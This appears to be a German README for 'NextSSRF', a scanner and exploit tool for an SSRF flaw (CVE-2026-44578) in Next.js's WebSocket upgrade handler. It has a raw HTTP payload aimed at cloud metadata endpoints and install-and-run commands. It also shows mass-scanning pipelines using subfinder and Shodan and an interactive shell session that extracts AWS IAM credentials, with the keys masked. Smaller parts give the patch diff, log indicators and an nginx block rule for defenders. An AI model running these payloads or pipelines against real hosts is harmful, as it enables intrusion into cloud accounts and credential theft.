
CVE-2026-44578 Scanner und Exploit-Tool für SSRF im Next.js WebSocket-Upgrade-Handler. Erkennt anfällige Versionen, extrahiert Cloud-Metadaten und exfiltriert IAM-Anmeldedaten über eine interaktive Shell.
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — Server-Side Request Forgery über den Next.js WebSocket Upgrade Handler
Übersicht · Installation · Verwendung · Pipeline · Shodan · Interaktiv · Haftungsausschluss
Am 11. Mai 2026 hat Vercel CVE-2026-44578 (CVSS 8.6) gepatcht: eine nicht authentifizierte SSRF im WebSocket-Upgrade-Handler von Next.js, die alle selbst gehosteten Bereitstellungen ab 13.4.13 betrifft.
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Das // in http:// löst normalizeRepeatedSlashes aus, setzt statusCode: 308 und finished: true. Der anfällige Upgrade-Handler ignoriert beide Flags und ruft proxyRequest auf, wenn parsedUrl.protocol truthy ist – und leitet die Anfrage an den vom Angreifer kontrollierten Host auf Port 80 weiter.
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| Produkt | Anfällig | Behoben |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| Vercel-gehostet | ✅ NICHT betroffen | N/A |
Upgrade: websocket mit 400 ab
AWS IMDSv1-Zugangsdaten via CVE-2026-44578 exfiltriert – interaktive Exploit-Shell
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
Null Abhängigkeiten — nur Python-Standardbibliothek. Python 3.10+ erforderlich.
python3 nextssrf.py -t https://target.com
# Nur AWS-Metadaten
python3 nextssrf.py -t https://target.com --cloud aws
# Benutzerdefiniertes internes Ziel
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# Tiefenscan (+ interne Dienste)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# Dateieingabe
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# Erzwungener Scan (auch bei unbekannter Version)
python3 nextssrf.py -t https://target.com --force
| Code | Bedeutung |
|---|---|
0 | Nicht verwundbar / sauber |
1 | Verwundbar (kein Exploit) |
2 | SSRF bestätigt |
Erweiterte Exploit-Shell mit automatischer Cloud-Erkennung und IAM-Zugangsdaten-Extraktion:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
# Cloud erkennen + vollständige Exploit-Kette automatisch ausführen
python3 nextssrf.py -t https://target.com --auto
# Vollständige Recon → Exploit-Pipeline
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan-Massenscan → interaktiv auf bestätigten Hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# Bestimmten Versionsbereich prüfen
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
Anzeichen für Ausnutzung in Logs:
# Next.js-Prozesslogs
Failed to proxy http:/ ← einzelner Schrägstrich = Normalisierungs-Fingerabdruck
# Zugriffslogs (absolute-form URI + Upgrade-Header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: absolute-form Request-URIs ablehnen
if ($request_uri ~* "^https?://") {
return 400;
}
Nur für autorisierte Sicherheitstests und Bug-Bounty-Forschung. Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Die Autoren haften nicht für Missbrauch oder unbefugte Nutzung. Befolgen Sie stets die Teilnahmebedingungen Ihres Bug-Bounty-Programms.
Mit ❤️ gemacht von @mitsec · ynsmroztas.github.io
Top-Hacker @ Intigriti · 100+ HOF · 2430+ Schwachstellen · 1100+ P1 Kritisch
| Befehl | Beschreibung |
|---|
cloud | Cloud automatisch erkennen (AWS/Azure/GCP/DO/OCI) |
aws | Vollständige AWS IAM-Zugangsdatenkette |
azure | Azure Managed Identity Token |
scan | Cloud erkennen + automatisch ausnutzen |
url <http://> | Benutzerdefinierte SSRF-Anfrage |
get <N> | AWS IMDS-Ziel nach Index |
list | Alle IMDS-Endpunkte anzeigen |
history | Anfrageverlauf |
save | Sitzung als JSON exportieren |
quit | Beenden |